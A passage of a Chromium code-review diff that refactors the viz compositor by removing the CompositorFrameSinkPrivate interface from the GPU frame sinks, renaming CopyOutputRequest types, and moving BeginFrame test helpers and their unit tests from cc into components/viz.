+          false /* handles_frame_sink_id_invalidation */,
           true /* needs_sync_points */)),
       client_(std::move(client)),
-      compositor_frame_sink_binding_(this, std::move(request)),
-      compositor_frame_sink_private_binding_(
-          this,
-          std::move(compositor_frame_sink_private_request)) {
+      compositor_frame_sink_binding_(this, std::move(request)) {
   compositor_frame_sink_binding_.set_connection_error_handler(base::Bind(
       &GpuCompositorFrameSink::OnClientConnectionLost, base::Unretained(this)));
-  compositor_frame_sink_private_binding_.set_connection_error_handler(
-      base::Bind(&GpuCompositorFrameSink::OnPrivateConnectionLost,
-                 base::Unretained(this)));
 }
 
 GpuCompositorFrameSink::~GpuCompositorFrameSink() = default;
@@ -63,16 +55,6 @@
     client_->DidReceiveCompositorFrameAck(resources);
 }
 
-void GpuCompositorFrameSink::ClaimTemporaryReference(
-    const SurfaceId& surface_id) {
-  support_->ClaimTemporaryReference(surface_id);
-}
-
-void GpuCompositorFrameSink::RequestCopyOfSurface(
-    std::unique_ptr<cc::CopyOutputRequest> request) {
-  support_->RequestCopyOfSurface(std::move(request));
-}
-
 void GpuCompositorFrameSink::OnBeginFrame(const BeginFrameArgs& args) {
   if (client_)
     client_->OnBeginFrame(args);
@@ -98,9 +80,4 @@
       support_->frame_sink_id());
 }
 
-void GpuCompositorFrameSink::OnPrivateConnectionLost() {
-  support_->frame_sink_manager()->OnPrivateConnectionLost(
-      support_->frame_sink_id());
-}
-
 }  // namespace viz
diff --git a/components/viz/service/frame_sinks/gpu_compositor_frame_sink.h b/components/viz/service/frame_sinks/gpu_compositor_frame_sink.h
index 0ece589..01cd51b 100644
--- a/components/viz/service/frame_sinks/gpu_compositor_frame_sink.h
+++ b/components/viz/service/frame_sinks/gpu_compositor_frame_sink.h
@@ -22,14 +22,12 @@
 // Server side representation of a WindowSurface.
 class GpuCompositorFrameSink
     : public NON_EXPORTED_BASE(CompositorFrameSinkSupportClient),
-      public NON_EXPORTED_BASE(cc::mojom::CompositorFrameSink),
-      public NON_EXPORTED_BASE(cc::mojom::CompositorFrameSinkPrivate) {
+      public NON_EXPORTED_BASE(cc::mojom::CompositorFrameSink) {
  public:
   GpuCompositorFrameSink(
       FrameSinkManagerImpl* frame_sink_manager,
       const FrameSinkId& frame_sink_id,
       cc::mojom::CompositorFrameSinkRequest request,
-      cc::mojom::CompositorFrameSinkPrivateRequest private_request,
       cc::mojom::CompositorFrameSinkClientPtr client);
 
   ~GpuCompositorFrameSink() override;
@@ -40,11 +38,6 @@
                              cc::CompositorFrame frame) override;
   void DidNotProduceFrame(const BeginFrameAck& begin_frame_ack) override;
 
-  // cc::mojom::CompositorFrameSinkPrivate:
-  void ClaimTemporaryReference(const SurfaceId& surface_id) override;
-  void RequestCopyOfSurface(
-      std::unique_ptr<cc::CopyOutputRequest> request) override;
-
  private:
   // CompositorFrameSinkSupportClient implementation:
   void DidReceiveCompositorFrameAck(
@@ -57,14 +50,11 @@
                        const gfx::Rect& damage_rect) override;
 
   void OnClientConnectionLost();
-  void OnPrivateConnectionLost();
 
   std::unique_ptr<CompositorFrameSinkSupport> support_;
 
   cc::mojom::CompositorFrameSinkClientPtr client_;
   mojo::Binding<cc::mojom::CompositorFrameSink> compositor_frame_sink_binding_;
-  mojo::Binding<cc::mojom::CompositorFrameSinkPrivate>
-      compositor_frame_sink_private_binding_;
 
   DISALLOW_COPY_AND_ASSIGN(GpuCompositorFrameSink);
 };
diff --git a/components/viz/service/frame_sinks/gpu_root_compositor_frame_sink.cc b/components/viz/service/frame_sinks/gpu_root_compositor_frame_sink.cc
index 306873ea..4edb5a9 100644
--- a/components/viz/service/frame_sinks/gpu_root_compositor_frame_sink.cc
+++ b/components/viz/service/frame_sinks/gpu_root_compositor_frame_sink.cc
@@ -19,8 +19,6 @@
     std::unique_ptr<Display> display,
     std::unique_ptr<BeginFrameSource> begin_frame_source,
     cc::mojom::CompositorFrameSinkAssociatedRequest request,
-    cc::mojom::CompositorFrameSinkPrivateRequest
-        compositor_frame_sink_private_request,
     cc::mojom::CompositorFrameSinkClientPtr client,
     cc::mojom::DisplayPrivateAssociatedRequest display_private_request)
     : support_(CompositorFrameSinkSupport::Create(
@@ -28,23 +26,17 @@
           frame_sink_manager,
           frame_sink_id,
           true /* is_root */,
-          true /* handles_frame_sink_id_invalidation */,
+          false /* handles_frame_sink_id_invalidation */,
           true /* needs_sync_points */)),
       display_begin_frame_source_(std::move(begin_frame_source)),
       display_(std::move(display)),
       client_(std::move(client)),
       compositor_frame_sink_binding_(this, std::move(request)),
-      compositor_frame_sink_private_binding_(
-          this,
-          std::move(compositor_frame_sink_private_request)),
       display_private_binding_(this, std::move(display_private_request)) {
   DCHECK(display_begin_frame_source_);
   compositor_frame_sink_binding_.set_connection_error_handler(
       base::Bind(&GpuRootCompositorFrameSink::OnClientConnectionLost,
                  base::Unretained(this)));
-  compositor_frame_sink_private_binding_.set_connection_error_handler(
-      base::Bind(&GpuRootCompositorFrameSink::OnPrivateConnectionLost,
-                 base::Unretained(this)));
   frame_sink_manager->RegisterBeginFrameSource(
       display_begin_frame_source_.get(), frame_sink_id);
   display_->Initialize(this, frame_sink_manager->surface_manager());
@@ -100,16 +92,6 @@
   support_->DidNotProduceFrame(begin_frame_ack);
 }
 
-void GpuRootCompositorFrameSink::ClaimTemporaryReference(
-    const SurfaceId& surface_id) {
-  support_->ClaimTemporaryReference(surface_id);
-}
-
-void GpuRootCompositorFrameSink::RequestCopyOfSurface(
-    std::unique_ptr<cc::CopyOutputRequest> request) {
-  support_->RequestCopyOfSurface(std::move(request));
-}
-
 void GpuRootCompositorFrameSink::DisplayOutputSurfaceLost() {
   // TODO(staraz): Implement this. Client should hear about context/output
   // surface lost.
@@ -155,9 +137,4 @@
       support_->frame_sink_id());
 }
 
-void GpuRootCompositorFrameSink::OnPrivateConnectionLost() {
-  support_->frame_sink_manager()->OnPrivateConnectionLost(
-      support_->frame_sink_id());
-}
-
 }  // namespace viz
diff --git a/components/viz/service/frame_sinks/gpu_root_compositor_frame_sink.h b/components/viz/service/frame_sinks/gpu_root_compositor_frame_sink.h
index 1b3fe58..f6bfd01d 100644
--- a/components/viz/service/frame_sinks/gpu_root_compositor_frame_sink.h
+++ b/components/viz/service/frame_sinks/gpu_root_compositor_frame_sink.h
@@ -27,7 +27,6 @@
 class GpuRootCompositorFrameSink
     : public NON_EXPORTED_BASE(CompositorFrameSinkSupportClient),
       public NON_EXPORTED_BASE(cc::mojom::CompositorFrameSink),
-      public NON_EXPORTED_BASE(cc::mojom::CompositorFrameSinkPrivate),
       public NON_EXPORTED_BASE(cc::mojom::DisplayPrivate),
       public NON_EXPORTED_BASE(DisplayClient) {
  public:
@@ -37,7 +36,6 @@
       std::unique_ptr<Display> display,
       std::unique_ptr<BeginFrameSource> begin_frame_source,
       cc::mojom::CompositorFrameSinkAssociatedRequest request,
-      cc::mojom::CompositorFrameSinkPrivateRequest private_request,
       cc::mojom::CompositorFrameSinkClientPtr client,
       cc::mojom::DisplayPrivateAssociatedRequest display_private_request);
 
@@ -57,11 +55,6 @@
                              cc::CompositorFrame frame) override;
   void DidNotProduceFrame(const BeginFrameAck& begin_frame_ack) override;
 
-  // cc::mojom::CompositorFrameSinkPrivate:
-  void ClaimTemporaryReference(const SurfaceId& surface_id) override;
-  void RequestCopyOfSurface(
-      std::unique_ptr<cc::CopyOutputRequest> request) override;
-
  private:
   // DisplayClient:
   void DisplayOutputSurfaceLost() override;
@@ -80,7 +73,6 @@
                        const gfx::Rect& damage_rect) override;
 
   void OnClientConnectionLost();
-  void OnPrivateConnectionLost();
 
   std::unique_ptr<CompositorFrameSinkSupport> support_;
 
@@ -92,8 +84,6 @@
   cc::mojom::CompositorFrameSinkClientPtr client_;
   mojo::AssociatedBinding<cc::mojom::CompositorFrameSink>
       compositor_frame_sink_binding_;
-  mojo::Binding<cc::mojom::CompositorFrameSinkPrivate>
-      compositor_frame_sink_private_binding_;
   mojo::AssociatedBinding<cc::mojom::DisplayPrivate> display_private_binding_;
 
   HitTestAggregator hit_test_aggregator_;
diff --git a/components/viz/service/hit_test/OWNERS b/components/viz/service/hit_test/OWNERS
deleted file mode 100644
index 3940e4c..0000000
--- a/components/viz/service/hit_test/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-rjkroege@chromium.org
\ No newline at end of file
diff --git a/components/viz/service/surfaces/surface.cc b/components/viz/service/surfaces/surface.cc
index f7ac52b..6bbcbf0 100644
--- a/components/viz/service/surfaces/surface.cc
+++ b/components/viz/service/surfaces/surface.cc
@@ -10,9 +10,9 @@
 #include <algorithm>
 
 #include "base/stl_util.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/resources/returned_resource.h"
 #include "cc/resources/transferable_resource.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "components/viz/common/surfaces/local_surface_id_allocator.h"
 #include "components/viz/service/surfaces/surface_client.h"
 #include "components/viz/service/surfaces/surface_manager.h"
@@ -163,13 +163,13 @@
 }
 
 void Surface::RequestCopyOfOutput(
-    std::unique_ptr<cc::CopyOutputRequest> copy_request) {
+    std::unique_ptr<CopyOutputRequest> copy_request) {
   if (!active_frame_data_) {
     copy_request->SendEmptyResult();
     return;
   }
 
-  std::vector<std::unique_ptr<cc::CopyOutputRequest>>& copy_requests =
+  std::vector<std::unique_ptr<CopyOutputRequest>>& copy_requests =
       active_frame_data_->frame.render_pass_list.back()->copy_requests;
 
   if (copy_request->has_source()) {
@@ -177,7 +177,7 @@
     // Remove existing CopyOutputRequests made on the Surface by the same
     // source.
     base::EraseIf(copy_requests,
-                  [&source](const std::unique_ptr<cc::CopyOutputRequest>& x) {
+                  [&source](const std::unique_ptr<CopyOutputRequest>& x) {
                     return x->has_source() && x->source() == source;
                   });
   }
@@ -238,7 +238,7 @@
   deadline_.Cancel();
 
   // Save root pass copy requests.
-  std::vector<std::unique_ptr<cc::CopyOutputRequest>> old_copy_requests;
+  std::vector<std::unique_ptr<CopyOutputRequest>> old_copy_requests;
   if (active_frame_data_) {
     std::swap(old_copy_requests,
               active_frame_data_->frame.render_pass_list.back()->copy_requests);
diff --git a/components/viz/service/surfaces/surface.h b/components/viz/service/surfaces/surface.h
index 4680cbd7..f0c0dca 100644
--- a/components/viz/service/surfaces/surface.h
+++ b/components/viz/service/surfaces/surface.h
@@ -19,7 +19,7 @@
 #include "base/memory/weak_ptr.h"
 #include "base/optional.h"
 #include "cc/output/compositor_frame.h"
-#include "cc/output/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "components/viz/common/surfaces/frame_sink_id.h"
 #include "components/viz/common/surfaces/surface_info.h"
 #include "components/viz/common/surfaces/surface_sequence.h"
@@ -90,7 +90,7 @@
   bool QueueFrame(cc::CompositorFrame frame,
                   const base::Closure& draw_callback,
                   const WillDrawCallback& will_draw_callback);
-  void RequestCopyOfOutput(std::unique_ptr<cc::CopyOutputRequest> copy_request);
+  void RequestCopyOfOutput(std::unique_ptr<CopyOutputRequest> copy_request);
 
   // Notifies the Surface that a blocking SurfaceId now has an active
   // frame.
@@ -101,9 +101,9 @@
   void ActivatePendingFrameForDeadline();
 
   using CopyRequestsMap =
-      std::multimap<cc::RenderPassId, std::unique_ptr<cc::CopyOutputRequest>>;
+      std::multimap<cc::RenderPassId, std::unique_ptr<CopyOutputRequest>>;
 
-  // Adds each cc::CopyOutputRequest in the current frame to copy_requests. The
+  // Adds each CopyOutputRequest in the current frame to copy_requests. The
   // caller takes ownership of them. |copy_requests| is keyed by cc::RenderPass
   // ids.
   void TakeCopyOutputRequests(CopyRequestsMap* copy_requests);
diff --git a/components/viz/service/surfaces/surface_unittest.cc b/components/viz/service/surfaces/surface_unittest.cc
index 81a328c..2d3eff8 100644
--- a/components/viz/service/surfaces/surface_unittest.cc
+++ b/components/viz/service/surfaces/surface_unittest.cc
@@ -4,9 +4,9 @@
 
 #include "components/viz/service/surfaces/surface.h"
 #include "base/memory/ptr_util.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/test/fake_external_begin_frame_source.h"
 #include "cc/test/scheduler_test_common.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/common/surfaces/local_surface_id_allocator.h"
 #include "components/viz/service/frame_sinks/compositor_frame_sink_support.h"
 #include "components/viz/service/frame_sinks/frame_sink_manager_impl.h"
@@ -51,7 +51,7 @@
 }
 
 void TestCopyResultCallback(bool* called,
-                            std::unique_ptr<cc::CopyOutputResult> result) {
+                            std::unique_ptr<CopyOutputResult> result) {
   *called = true;
 }
 
@@ -72,7 +72,7 @@
   ASSERT_TRUE(!!surface);
 
   bool copy_called = false;
-  support->RequestCopyOfSurface(cc::CopyOutputRequest::CreateRequest(
+  support->RequestCopyOfSurface(CopyOutputRequest::CreateRequest(
       base::BindOnce(&TestCopyResultCallback, &copy_called)));
   EXPECT_TRUE(surface_manager->GetSurfaceForId(surface_id));
   EXPECT_FALSE(copy_called);
diff --git a/components/viz/test/BUILD.gn b/components/viz/test/BUILD.gn
index c30fdef..5529bc7 100644
--- a/components/viz/test/BUILD.gn
+++ b/components/viz/test/BUILD.gn
@@ -9,10 +9,15 @@
   sources = [
     "begin_frame_args_test.cc",
     "begin_frame_args_test.h",
+    "begin_frame_source_test.cc",
+    "begin_frame_source_test.h",
     "compositor_frame_helpers.cc",
     "compositor_frame_helpers.h",
     "fake_delay_based_time_source.cc",
     "fake_delay_based_time_source.h",
+    "mock_helper.h",
+    "ordered_simple_task_runner.cc",
+    "ordered_simple_task_runner.h",
     "paths.cc",
     "paths.h",
     "surface_hittest_test_helpers.cc",
@@ -25,6 +30,8 @@
     "//base/test:test_support",
     "//cc",
     "//components/viz/service",
+    "//testing/gmock",
+    "//testing/gtest",
     "//ui/gfx/geometry",
   ]
 }
@@ -42,3 +49,19 @@
     "//ui/gl:test_support",
   ]
 }
+
+viz_source_set("unit_tests") {
+  testonly = true
+  sources = [
+    "begin_frame_source_test_unittest.cc",
+    "mock_helper_unittest.cc",
+    "ordered_simple_task_runner_unittest.cc",
+  ]
+  deps = [
+    ":test_support",
+    "//base",
+    "//base/test:test_support",
+    "//testing/gmock",
+    "//testing/gtest",
+  ]
+}
diff --git a/cc/test/begin_frame_source_test.cc b/components/viz/test/begin_frame_source_test.cc
similarity index 77%
rename from cc/test/begin_frame_source_test.cc
rename to components/viz/test/begin_frame_source_test.cc
index 99d01c9..358d500b 100644
--- a/cc/test/begin_frame_source_test.cc
+++ b/components/viz/test/begin_frame_source_test.cc
@@ -2,13 +2,13 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "cc/test/begin_frame_source_test.h"
+#include "components/viz/test/begin_frame_source_test.h"
 
 #include "components/viz/test/begin_frame_args_test.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace cc {
+namespace viz {
 
 void MockBeginFrameObserver::AsValueInto(
     base::trace_event::TracedValue* dict) const {
@@ -26,18 +26,18 @@
 
 MockBeginFrameObserver::~MockBeginFrameObserver() {}
 
-const viz::BeginFrameArgs MockBeginFrameObserver::kDefaultBeginFrameArgs =
-    viz::CreateBeginFrameArgsForTesting(
+const BeginFrameArgs MockBeginFrameObserver::kDefaultBeginFrameArgs =
+    CreateBeginFrameArgsForTesting(
 #ifdef NDEBUG
         nullptr,
 #else
         FROM_HERE_WITH_EXPLICIT_FUNCTION(
             "MockBeginFrameObserver::kDefaultBeginFrameArgs"),
 #endif
-        viz::BeginFrameArgs::kManualSourceId,
-        viz::BeginFrameArgs::kStartingFrameNumber,
+        BeginFrameArgs::kManualSourceId,
+        BeginFrameArgs::kStartingFrameNumber,
         -1,
         -1,
         -1);
 
-}  // namespace cc
+}  // namespace viz
diff --git a/cc/test/begin_frame_source_test.h b/components/viz/test/begin_frame_source_test.h
similarity index 79%
rename from cc/test/begin_frame_source_test.h
rename to components/viz/test/begin_frame_source_test.h
index 4998222..c44bd3c 100644
--- a/cc/test/begin_frame_source_test.h
+++ b/components/viz/test/begin_frame_source_test.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef CC_TEST_BEGIN_FRAME_SOURCE_TEST_H_
-#define CC_TEST_BEGIN_FRAME_SOURCE_TEST_H_
+#ifndef COMPONENTS_VIZ_TEST_BEGIN_FRAME_SOURCE_TEST_H_
+#define COMPONENTS_VIZ_TEST_BEGIN_FRAME_SOURCE_TEST_H_
 
 #include "base/trace_event/trace_event_argument.h"
 #include "components/viz/common/frame_sinks/begin_frame_source.h"
@@ -14,7 +14,7 @@
 // Macros to help set up expected calls on the MockBeginFrameObserver.
 #define EXPECT_BEGIN_FRAME_DROP(obs, source_id, sequence_number, frame_time, \
                                 deadline, interval)                          \
-  EXPECT_CALL((obs), OnBeginFrame(viz::CreateBeginFrameArgsForTesting(       \
+  EXPECT_CALL((obs), OnBeginFrame(CreateBeginFrameArgsForTesting(            \
                          BEGINFRAME_FROM_HERE, source_id, sequence_number,   \
                          frame_time, deadline, interval)))                   \
       .Times(1)                                                              \
@@ -22,7 +22,7 @@
 
 #define EXPECT_BEGIN_FRAME_USED(obs, source_id, sequence_number, frame_time, \
                                 deadline, interval)                          \
-  EXPECT_CALL((obs), OnBeginFrame(viz::CreateBeginFrameArgsForTesting(       \
+  EXPECT_CALL((obs), OnBeginFrame(CreateBeginFrameArgsForTesting(            \
                          BEGINFRAME_FROM_HERE, source_id, sequence_number,   \
                          frame_time, deadline, interval)))                   \
       .InSequence((obs).sequence)                                            \
@@ -31,9 +31,9 @@
 #define EXPECT_BEGIN_FRAME_USED_MISSED(obs, source_id, sequence_number,        \
                                        frame_time, deadline, interval)         \
   EXPECT_CALL(                                                                 \
-      (obs), OnBeginFrame(viz::CreateBeginFrameArgsForTesting(                 \
+      (obs), OnBeginFrame(CreateBeginFrameArgsForTesting(                      \
                  BEGINFRAME_FROM_HERE, source_id, sequence_number, frame_time, \
-                 deadline, interval, viz::BeginFrameArgs::MISSED)))            \
+                 deadline, interval, BeginFrameArgs::MISSED)))                 \
       .InSequence((obs).sequence)                                              \
       .WillOnce(::testing::SaveArg<0>(&((obs).last_begin_frame_args)))
 
@@ -50,13 +50,13 @@
       .Times(1)                                               \
       .InSequence((obs).sequence)
 
-// Macros to send viz::BeginFrameArgs on a FakeBeginFrameSink (and verify
+// Macros to send BeginFrameArgs on a FakeBeginFrameSink (and verify
 // resulting observer behaviour).
 #define SEND_BEGIN_FRAME(args_equal_to, source, sequence_number, frame_time, \
                          deadline, interval)                                 \
   {                                                                          \
-    viz::BeginFrameArgs old_args = (source).TestLastUsedBeginFrameArgs();    \
-    viz::BeginFrameArgs new_args = viz::CreateBeginFrameArgsForTesting(      \
+    BeginFrameArgs old_args = (source).TestLastUsedBeginFrameArgs();         \
+    BeginFrameArgs new_args = CreateBeginFrameArgsForTesting(                \
         BEGINFRAME_FROM_HERE, (source).source_id(), sequence_number,         \
         frame_time, deadline, interval);                                     \
     ASSERT_FALSE(old_args == new_args);                                      \
@@ -76,27 +76,27 @@
   SEND_BEGIN_FRAME(new_args, source, sequence_number, frame_time, deadline,  \
                    interval);
 
-namespace cc {
+namespace viz {
 
-class MockBeginFrameObserver : public viz::BeginFrameObserver {
+class MockBeginFrameObserver : public BeginFrameObserver {
  public:
-  MOCK_METHOD1(OnBeginFrame, void(const viz::BeginFrameArgs&));
-  MOCK_CONST_METHOD0(LastUsedBeginFrameArgs, const viz::BeginFrameArgs&());
+  MOCK_METHOD1(OnBeginFrame, void(const BeginFrameArgs&));
+  MOCK_CONST_METHOD0(LastUsedBeginFrameArgs, const BeginFrameArgs&());
   MOCK_METHOD1(OnBeginFrameSourcePausedChanged, void(bool));
 
   virtual void AsValueInto(base::trace_event::TracedValue* dict) const;
 
   // A value different from the normal default returned by a
-  // viz::BeginFrameObserver so it is easiable traced back here.
-  static const viz::BeginFrameArgs kDefaultBeginFrameArgs;
+  // BeginFrameObserver so it is easiable traced back here.
+  static const BeginFrameArgs kDefaultBeginFrameArgs;
 
   MockBeginFrameObserver();
   virtual ~MockBeginFrameObserver();
 
-  viz::BeginFrameArgs last_begin_frame_args;
+  BeginFrameArgs last_begin_frame_args;
   ::testing::Sequence sequence;
 };
 
-}  // namespace cc
+}  // namespace viz
 
-#endif  // CC_TEST_BEGIN_FRAME_SOURCE_TEST_H_
+#endif  // COMPONENTS_VIZ_TEST_BEGIN_FRAME_SOURCE_TEST_H_
diff --git a/components/viz/test/begin_frame_source_test_unittest.cc b/components/viz/test/begin_frame_source_test_unittest.cc
new file mode 100644
index 0000000..fcd051d
--- /dev/null
+++ b/components/viz/test/begin_frame_source_test_unittest.cc
@@ -0,0 +1,124 @@
+// Copyright 2015 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "components/viz/test/begin_frame_source_test.h"
+
+#include "components/viz/test/begin_frame_args_test.h"
+#include "components/viz/test/mock_helper.h"
+#include "testing/gmock/include/gmock/gmock.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace viz {
+namespace {
+TEST(MockBeginFrameObserverTest, FailOnMissingCalls) {
+  EXPECT_MOCK_FAILURE({
+    ::testing::NiceMock<MockBeginFrameObserver> obs;
+    EXPECT_BEGIN_FRAME_USED(obs, 0, 1, 100, 200, 300);
+    EXPECT_BEGIN_FRAME_USED(obs, 0, 2, 400, 600, 300);
+
+    obs.OnBeginFrame(CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 2,
+                                                    400, 600, 300));
+  });
+}
+
+TEST(MockBeginFrameObserverTest, FailOnMultipleCalls) {
+  EXPECT_MOCK_FAILURE({
+    ::testing::NiceMock<MockBeginFrameObserver> obs;
+    EXPECT_BEGIN_FRAME_USED(obs, 0, 1, 100, 200, 300);
+    EXPECT_BEGIN_FRAME_USED(obs, 0, 2, 400, 600, 300);
+
+    obs.OnBeginFrame(CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 1,
+                                                    100, 200, 300));
+    obs.OnBeginFrame(CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 1,
+                                                    100, 200, 300));
+    obs.OnBeginFrame(CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 2,
+                                                    400, 600, 300));
+  });
+}
+
+TEST(MockBeginFrameObserverTest, FailOnWrongCallOrder) {
+  EXPECT_MOCK_FAILURE({
+    ::testing::NiceMock<MockBeginFrameObserver> obs;
+    EXPECT_BEGIN_FRAME_USED(obs, 0, 1, 100, 200, 300);
+    EXPECT_BEGIN_FRAME_USED(obs, 0, 2, 400, 600, 300);
+
+    obs.OnBeginFrame(CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 2,
+                                                    400, 600, 300));
+    obs.OnBeginFrame(CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 1,
+                                                    100, 200, 300));
+  });
+}
+
+TEST(MockBeginFrameObserverTest, ExpectOnBeginFrame) {
+  ::testing::NiceMock<MockBeginFrameObserver> obs;
+  EXPECT_BEGIN_FRAME_USED(obs, 0, 1, 100, 200, 300);
+  EXPECT_BEGIN_FRAME_USED(obs, 0, 2, 400, 600, 300);
+  EXPECT_BEGIN_FRAME_USED(obs, 0, 3, 700, 900, 300);
+
+  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
+            MockBeginFrameObserver::kDefaultBeginFrameArgs);
+
+  obs.OnBeginFrame(CreateBeginFrameArgsForTesting(
+      BEGINFRAME_FROM_HERE, 0, 1, 100, 200,
+      300));  // One call to LastUsedBeginFrameArgs
+  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
+            CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 1, 100, 200,
+                                           300));
+
+  obs.OnBeginFrame(CreateBeginFrameArgsForTesting(
+      BEGINFRAME_FROM_HERE, 0, 2, 400, 600,
+      300));  // Multiple calls to LastUsedBeginFrameArgs
+  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
+            CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 2, 400, 600,
+                                           300));
+  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
+            CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 2, 400, 600,
+                                           300));
+
+  obs.OnBeginFrame(CreateBeginFrameArgsForTesting(
+      BEGINFRAME_FROM_HERE, 0, 3, 700, 900,
+      300));  // No calls to LastUsedBeginFrameArgs
+}
+
+TEST(MockBeginFrameObserverTest, ExpectOnBeginFrameStatus) {
+  ::testing::NiceMock<MockBeginFrameObserver> obs;
+  EXPECT_BEGIN_FRAME_USED(obs, 0, 1, 100, 200, 300);
+  EXPECT_BEGIN_FRAME_DROP(obs, 0, 2, 400, 600, 300);
+  EXPECT_BEGIN_FRAME_DROP(obs, 0, 3, 450, 650, 300);
+  EXPECT_BEGIN_FRAME_USED(obs, 0, 4, 700, 900, 300);
+
+  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
+            MockBeginFrameObserver::kDefaultBeginFrameArgs);
+
+  // Used
+  obs.OnBeginFrame(CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 1,
+                                                  100, 200, 300));
+  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
+            CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 1, 100, 200,
+                                           300));
+
+  // Dropped
+  obs.OnBeginFrame(CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 2,
+                                                  400, 600, 300));
+  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
+            CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 1, 100, 200,
+                                           300));
+
+  // Dropped
+  obs.OnBeginFrame(CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 3,
+                                                  450, 650, 300));
+  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
+            CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 1, 100, 200,
+                                           300));
+
+  // Used
+  obs.OnBeginFrame(CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 4,
+                                                  700, 900, 300));
+  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
+            CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 4, 700, 900,
+                                           300));
+}
+
+}  // namespace
+}  // namespace viz
diff --git a/cc/test/mock_helper.h b/components/viz/test/mock_helper.h
similarity index 90%
rename from cc/test/mock_helper.h
rename to components/viz/test/mock_helper.h
index 9ca9afba..0368420 100644
--- a/cc/test/mock_helper.h
+++ b/components/viz/test/mock_helper.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef CC_TEST_MOCK_HELPER_H_
-#define CC_TEST_MOCK_HELPER_H_
+#ifndef COMPONENTS_VIZ_TEST_MOCK_HELPER_H_
+#define COMPONENTS_VIZ_TEST_MOCK_HELPER_H_
 
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest-spi.h"
@@ -26,4 +26,4 @@
     EXPECT_GT(gtest_failures.size(), 0);                          \
   } while (::testing::internal::AlwaysFalse())
 
-#endif  // CC_TEST_MOCK_HELPER_H_
+#endif  // COMPONENTS_VIZ_TEST_MOCK_HELPER_H_
diff --git a/cc/test/mock_helper_unittest.cc b/components/viz/test/mock_helper_unittest.cc
similarity index 76%
rename from cc/test/mock_helper_unittest.cc
rename to components/viz/test/mock_helper_unittest.cc
index d6b9898..ce2d7634 100644
--- a/cc/test/mock_helper_unittest.cc
+++ b/components/viz/test/mock_helper_unittest.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "cc/test/mock_helper.h"
+#include "components/viz/test/mock_helper.h"
 
 #include "testing/gtest/include/gtest/gtest-spi.h"
 
@@ -17,14 +17,16 @@
 }
 
 TEST(ExpectMockFailureTest, FailsWhenMockSucceeds) {
-  EXPECT_NONFATAL_FAILURE({
-    EXPECT_MOCK_FAILURE({
-      ::testing::NiceMock<TestingMock> t1;
-      EXPECT_CALL(t1, Test());
+  EXPECT_NONFATAL_FAILURE(
+      {
+        EXPECT_MOCK_FAILURE({
+          ::testing::NiceMock<TestingMock> t1;
+          EXPECT_CALL(t1, Test());
 
-      t1.Test();
-    });
-  }, "");
+          t1.Test();
+        });
+      },
+      "");
 }
 
 TEST(ExpectMockFailureTest, PassesWhenMockFailsForMissing) {
diff --git a/cc/test/ordered_simple_task_runner.cc b/components/viz/test/ordered_simple_task_runner.cc
similarity index 91%
rename from cc/test/ordered_simple_task_runner.cc
rename to components/viz/test/ordered_simple_task_runner.cc
index 4db4f3aa..cded0742 100644
--- a/cc/test/ordered_simple_task_runner.cc
+++ b/components/viz/test/ordered_simple_task_runner.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 
 #include <stddef.h>
 #include <stdint.h>
@@ -20,9 +20,9 @@
 #include "base/trace_event/trace_event.h"
 #include "base/trace_event/trace_event_argument.h"
 
-#define TRACE_TASK(function, task) \
-  TRACE_EVENT_INSTANT1(            \
-      "cc", function, TRACE_EVENT_SCOPE_THREAD, "task", task.AsValue());
+#define TRACE_TASK(function, task)                                       \
+  TRACE_EVENT_INSTANT1("cc", function, TRACE_EVENT_SCOPE_THREAD, "task", \
+                       task.AsValue());
 
 #define TRACE_TASK_RUN(function, tag, task)
 
@@ -31,8 +31,7 @@
